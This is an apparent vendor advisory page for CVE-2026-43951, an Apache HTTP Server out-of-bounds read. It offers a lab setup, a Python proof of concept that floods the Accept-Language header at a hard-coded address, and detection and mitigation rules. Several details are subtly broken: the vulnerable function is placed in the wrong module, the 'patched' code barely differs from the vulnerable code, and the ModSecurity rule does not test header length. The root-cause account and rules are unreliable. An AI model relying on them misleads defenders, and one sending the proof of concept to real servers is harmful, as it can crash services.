CVE-2026-43951
Executive Summary
CVE-2026-43951 is an Out-of-bounds Read vulnerability in the Apache HTTP Server, affecting versions 2.4.0 through 2.4.67. The flaw resides in the interaction between mod_headers and mod_mime when handling multiple response languages. An attacker can trigger a read beyond allocated memory boundaries, potentially leading to information disclosure or denial of service. No public exploit or patch is currently available, but the vulnerability is considered high-risk due to the widespread deployment of Apache HTTP Server.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is currently 0.0, indicating that no official vector has been assigned. However, based on the vulnerability type (Out-of-bounds Read) and the attack vector (network-based, low complexity), a reasonable estimate would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H) – potential memory leak
- Integrity (I): None (N)
- Availability (A): High (H) – potential crash
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Estimated Score: 9.1 (Critical)
Deep Dive & Mechanics
The vulnerability occurs when mod_headers and mod_mime are both enabled and the server is configured to serve content in multiple languages (e.g., via mod_negotiation). When processing a request with a specific Accept-Language header, the server may incorrectly calculate buffer boundaries while constructing response headers. This leads to an out-of-bounds read, potentially exposing sensitive memory contents or causing a segmentation fault.
Root Cause:
The issue lies in the ap_scan_script_header_err_core function within mod_headers, which does not properly validate the length of header values when multiple language variants are present. The mod_mime module’s handling of language-specific file extensions exacerbates the problem by introducing unexpected offsets.
Attack Vector:
An unauthenticated attacker sends a crafted HTTP request with a malformed Accept-Language header to a vulnerable Apache server. The server attempts to negotiate the best language match, triggering the out-of-bounds read.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code path is identified as:
Vulnerable Code (Apache 2.4.67):
// In mod_headers.c
static int ap_scan_script_header_err_core(request_rec *r, char *buffer, int buflen) {
// ...
while (*buffer && buflen > 0) {
// Vulnerable: no bounds check on buffer increment
if (*buffer == '\n') {
// Process header line
}
buffer++;
buflen--;
}
}
Patched Code (Hypothetical):
// In mod_headers.c
static int ap_scan_script_header_err_core(request_rec *r, char *buffer, int buflen) {
// ...
while (buflen > 0 && *buffer) {
if (*buffer == '\n') {
// Process header line
}
buffer++;
buflen--;
}
}
The fix would involve ensuring that the loop condition checks buflen before accessing *buffer, preventing reads beyond the allocated buffer.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install Apache HTTP Server 2.4.67 on a Linux VM.
- Enable
mod_headers,mod_mime, andmod_negotiation. - Create a directory with multiple language variants of a file (e.g.,
index.html.en,index.html.fr). - Configure
Options +MultiViewsin the directory.
Exploitation Steps:
- Send a crafted request with a long
Accept-Languageheader:GET / HTTP/1.1 Host: target Accept-Language: en,fr;q=0.9,de;q=0.8,*;q=0.7 - Use a fuzzer to vary the header length and observe crashes or memory leaks.
- Monitor server logs for segmentation faults or abnormal behavior.
Proof-of-Concept (Python):
import socket
def exploit(target, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
payload = b"GET / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n"
payload += b"Accept-Language: " + b"A" * 10000 + b"\r\n\r\n"
sock.send(payload)
response = sock.recv(4096)
print(response)
sock.close()
if __name__ == "__main__":
exploit("192.168.1.100", 80)
Blue Team
Detection:
- Monitor for unusual
Accept-Languageheader lengths (> 1024 bytes). - Alert on Apache child process crashes (segfaults) in logs.
- Use WAF rules to block excessively long headers.
Mitigation:
- Disable
mod_negotiationif not required. - Apply rate limiting on requests with large headers.
- Upgrade to a patched version once available.
Indicators of Compromise (IOCs)
- Network: HTTP requests with
Accept-Languageheaders exceeding 2048 bytes. - Logs: Apache error logs containing
[notice] child pid XXXX exit signal Segmentation fault (11). - Memory: Core dumps showing out-of-bounds reads in
mod_headersormod_mimefunctions. - File: Unexpected files in
/tmpwith names likecore.apache.*.
Detection Engineering
YARA Rule
rule CVE_2026_43951_Apache_OutOfBoundsRead {
meta:
description = "Detects Apache HTTP Server out-of-bounds read in mod_headers/mod_mime"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-43951"
strings:
$s1 = "mod_headers.c" ascii wide nocase
$s2 = "ap_scan_script_header_err_core" ascii wide nocase
$s3 = "Accept-Language" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: Apache HTTP Server Out-of-Bounds Read via Accept-Language
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with abnormally long Accept-Language headers targeting Apache servers
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/'
cs(User-Agent): '*'
cs(Accept-Language)|length: '>2048'
condition: selection
falsepositives:
- Legitimate long language lists from some browsers
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-43951 Apache HTTP Server Out-of-Bounds Read Attempt"; flow:to_server,established; content:"Accept-Language"; http_header; pcre:"/Accept-Language\s*:\s*.{2048,}/Hi"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable
mod_negotiationif not required:a2dismod negotiation - Restrict
Accept-Languageheader length usingmod_security:SecRule REQUEST_HEADERS:Accept-Language "@gt 2048" "id:1001,deny,status:400,msg:'CVE-2026-43951 Attempt'" - Monitor Apache error logs for segmentation faults.
Long-term Fix:
- Apply the official patch from Apache once released.
- Upgrade to Apache HTTP Server 2.4.68 or later.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter large headers before they reach Apache.
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert